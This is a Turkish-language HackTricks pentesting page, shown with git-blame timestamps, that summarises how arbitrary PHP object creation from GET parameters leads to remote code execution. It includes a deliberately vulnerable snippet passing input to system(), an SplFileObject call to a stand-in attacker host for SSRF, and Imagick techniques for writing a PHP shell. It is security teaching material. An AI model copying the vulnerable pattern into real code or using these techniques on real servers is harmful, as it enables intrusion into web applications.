hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md

123 lines
6.9 KiB
Markdown
Raw Normal View History

# PHP - RCE nesne oluşturma istismar: new $\_GET\["a"]\($\_GET\["b"])
2022-08-04 10:07:55 +00:00
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-08-04 10:07:55 +00:00
<details>
2022-08-04 10:07:55 +00:00
<summary>HackTricks'i Destekleyin</summary>
2022-08-04 10:07:55 +00:00
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
2022-08-04 10:07:55 +00:00
</details>
{% endhint %}
2022-08-04 10:07:55 +00:00
Bu, [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) adresinin temel bir özetidir.
2024-02-08 22:36:15 +01:00
2024-02-10 18:14:16 +00:00
## Giriş
2022-08-04 10:07:55 +00:00
`new $_GET["a"]($_GET["a"])` gibi yeni keyfi nesnelerin oluşturulması, [**yazıda**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) detaylandırıldığı gibi Uzaktan Kod Yürütme (RCE) ile sonuçlanabilir. Bu belge, RCE elde etmenin çeşitli stratejilerini vurgulamaktadır.
2022-08-04 10:07:55 +00:00
2024-02-10 18:14:16 +00:00
## Özel Sınıflar veya Otomatik Yükleme ile RCE
2022-08-04 10:07:55 +00:00
`new $a($b)` sözdizimi, **`$a`** sınıf adını ve **`$b`** yapıcıya geçirilen ilk argümanı temsil eden bir nesne oluşturmak için kullanılır. Bu değişkenler, GET/POST gibi kullanıcı girdilerinden, string veya dizi olarak veya JSON'dan, diğer türler olarak elde edilebilir.
2022-08-04 10:07:55 +00:00
Aşağıdaki kod parçasını düşünün:
2022-08-04 10:07:55 +00:00
```php
class App {
2024-02-10 18:14:16 +00:00
function __construct ($cmd) {
system($cmd);
}
2022-08-04 10:07:55 +00:00
}
class App2 {
2024-02-10 18:14:16 +00:00
function App2 ($cmd) {
system($cmd);
}
2022-08-04 10:07:55 +00:00
}
$a = $_GET['a'];
$b = $_GET['b'];
new $a($b);
```
Bu durumda, `$a`'yı `App` veya `App2` olarak ve `$b`'yi bir sistem komutu (örneğin, `uname -a`) olarak ayarlamak, o komutun çalıştırılmasına neden olur.
2022-08-04 10:07:55 +00:00
**Otomatik yükleme fonksiyonları**, doğrudan erişilebilen böyle sınıflar yoksa istismar edilebilir. Bu fonksiyonlar, ihtiyaç duyulduğunda dosyalardan sınıfları otomatik olarak yükler ve `spl_autoload_register` veya `__autoload` kullanılarak tanımlanır:
2022-08-04 10:07:55 +00:00
```php
spl_autoload_register(function ($class_name) {
2024-02-10 18:14:16 +00:00
include './../classes/' . $class_name . '.php';
2022-08-04 10:07:55 +00:00
});
function __autoload($class_name) {
2024-02-10 18:14:16 +00:00
include $class_name . '.php';
2022-08-04 10:07:55 +00:00
};
spl_autoload_register();
```
Autoloading'in davranışı PHP sürümlerine göre değişiklik gösterir ve farklı RCE olasılıkları sunar.
2022-08-04 10:07:55 +00:00
## Yerleşik Sınıflar ile RCE
2022-08-04 10:07:55 +00:00
Özel sınıflar veya autoloader'lar eksik olduğunda, **yerleşik PHP sınıfları** RCE için yeterli olabilir. Bu sınıfların sayısı PHP sürümüne ve uzantılara bağlı olarak 100 ile 200 arasında değişir. `get_declared_classes()` kullanılarak listelenebilirler.
2022-08-04 10:07:55 +00:00
İlgili yapıcılar, aşağıdaki örnekte ve [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF) bağlantısında gösterildiği gibi, yansıma API'si aracılığıyla tanımlanabilir.
2022-08-04 10:07:55 +00:00
2024-02-10 18:14:16 +00:00
**Belirli yöntemler aracılığıyla RCE şunları içerir:**
2022-08-04 10:07:55 +00:00
2024-02-08 22:36:15 +01:00
### **SSRF + Phar Deserialization**
2022-08-04 10:07:55 +00:00
`SplFileObject` sınıfı, yapıcısı aracılığıyla SSRF'yi etkinleştirir ve herhangi bir URL'ye bağlantılara izin verir:
2024-02-08 22:36:15 +01:00
```php
2022-08-04 10:07:55 +00:00
new SplFileObject('http://attacker.com/');
```
SSRF, Phar protokolünü kullanan PHP'nin 8.0'dan önceki sürümlerinde deserialization saldırılarına yol açabilir.
2022-08-04 10:07:55 +00:00
2024-02-10 18:14:16 +00:00
### **PDO'ları Sömürmek**
2022-08-04 10:07:55 +00:00
PDO sınıfı yapıcı fonksiyonu, DSN dizeleri aracılığıyla veritabanlarına bağlantılara izin verir, bu da dosya oluşturma veya diğer etkileşimleri mümkün kılabilir:
2022-08-04 10:07:55 +00:00
```php
new PDO("sqlite:/tmp/test.txt")
```
### **SoapClient/SimpleXMLElement XXE**
PHP'nin 5.3.22 ve 5.4.12 sürümleri, libxml2 sürümüne bağlı olarak `SoapClient` ve `SimpleXMLElement` yapıcıları aracılığıyla XXE saldırılarına karşı savunmasızdı.
2022-08-04 10:07:55 +00:00
## RCE via Imagick Extension
2022-08-04 10:07:55 +00:00
**Projenin bağımlılıkları** analizi sırasında, **Imagick**'in yeni nesne örnekleri oluşturarak **komut yürütme** için kullanılabileceği keşfedildi. Bu, güvenlik açıklarından yararlanma fırsatı sunar.
2022-08-04 10:07:55 +00:00
### VID parser
2022-08-04 10:07:55 +00:00
Dosya sisteminde belirtilen herhangi bir yola içerik yazma yeteneğine sahip VID parser'ın varlığı tespit edildi. Bu, web erişilebilir bir dizine bir PHP shell yerleştirilmesine yol açabilir ve Uzak Kod Yürütme (RCE) sağlanabilir.
2022-08-04 10:55:21 +00:00
#### VID Parser + Dosya Yükleme
2022-08-04 10:55:21 +00:00
PHP'nin yüklenen dosyaları geçici olarak `/tmp/phpXXXXXX` dizininde sakladığı belirtilmiştir. Imagick'teki VID parser, **msl** protokolünü kullanarak dosya yollarında joker karakterleri işleyebilir ve geçici dosyayı seçilen bir konuma taşıyabilir. Bu yöntem, dosya sisteminde keyfi dosya yazma elde etmek için ek bir yaklaşım sunar.
2022-08-04 10:55:21 +00:00
### PHP Çökmesi + Kaba Kuvvet
2022-08-04 10:55:21 +00:00
[**orijinal yazımda**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) tanımlanan bir yöntem, silinmeden önce bir sunucu çökmesine neden olan dosyaların yüklenmesini içerir. Geçici dosyanın adını kaba kuvvetle tahmin ederek, Imagick'in keyfi PHP kodu yürütmesi mümkün hale gelir. Ancak, bu tekniğin yalnızca eski bir ImageMagick sürümünde etkili olduğu bulunmuştur.
2022-08-04 10:55:21 +00:00
## References
2022-08-04 10:55:21 +00:00
* [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
2022-08-04 10:07:55 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-08-04 10:07:55 +00:00
<details>
2022-08-04 10:07:55 +00:00
<summary>Support HackTricks</summary>
2022-08-04 10:07:55 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-08-04 10:07:55 +00:00
</details>
{% endhint %}